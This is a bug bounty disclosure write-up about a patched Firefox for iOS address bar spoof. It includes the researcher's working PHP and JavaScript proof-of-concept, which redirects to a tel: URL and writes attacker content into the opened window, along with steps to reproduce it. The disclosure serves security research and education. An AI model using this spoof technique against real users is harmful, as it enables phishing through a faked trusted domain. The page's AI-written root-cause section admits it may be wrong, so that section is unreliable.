Firefox Mobile iOS Address Bar Spoof Using Server-Side Redirect to non-http Scheme
Opening a new window to a non-http scheme such as tel:// caused Firefox for iOS to display the host portion as the address bar while the tab's origin stayed with the opener. The opener could then write content into that window, so an attacker could show a trusted-looking address alongside attacker-controlled page content.
Originally disclosed on Mozilla
- Fixed in 22 days
- Paid in 24 days
- Disclosed after 22 days
Created attachment 9463380
ScreenRecording_02-03-2025 00-03-47_1.mp4
When we open a new window pointing to something like `x://google.com` or `tel://google.com` the browser address bar will show us as `google.com` and the origin of the tab will be the opener, which with this we can have any URL displayed as the address bar and change contents of the tab using the window reference thus getting address bar spoof vulnerability.
POC: `https://rx23.io/poc/firefox/1.php`
POC Code:
'''
<?php
if (isset($_GET['r']) && $_GET['r'] == '1') {
header("Location: tel://google.com/login/");
exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<button style=font-size:40px onclick="poc();">Click Me</button>
<script>
var win='';
function poc(){
win=window.open(window.location.href+'?r=1');
setTimeout(()=>{win.document.write('<font size=240>Spoofed');},777);
}
</script>
</body>
</html>
'''
Video POC:
attached
Thanks
Renwa
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the browser treated the non-http scheme's host as displayable in the address bar without giving the new window an opaque origin, so the opener kept a live reference to it.
Impact
An attacker could display an arbitrary domain in the address bar while controlling the tab's contents, enabling phishing; the report is specific to Firefox on iOS.
What the attacker needed
Firefox on iOS; victim opens attacker page and taps a button
How it was found
- Host a page that opens a new window pointing at a URL which server-side redirects to a non-http scheme with a host, such as a tel: link.
- The new window's address bar shows the host from that scheme.
- From the opener, use the window reference to write content into the new window.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A browser's address bar is meant to tell you which site you are on. Here, a page could open a new window using a special link type (a scheme like tel: rather than http:) and the bar showed a normal-looking domain, while the page inside was still controlled by the original site. That means a user could be tricked into trusting the address shown.
What is Open redirect?
A trusted site forwards users to any address an attacker picks; rarely paid alone, often the missing link in a chain.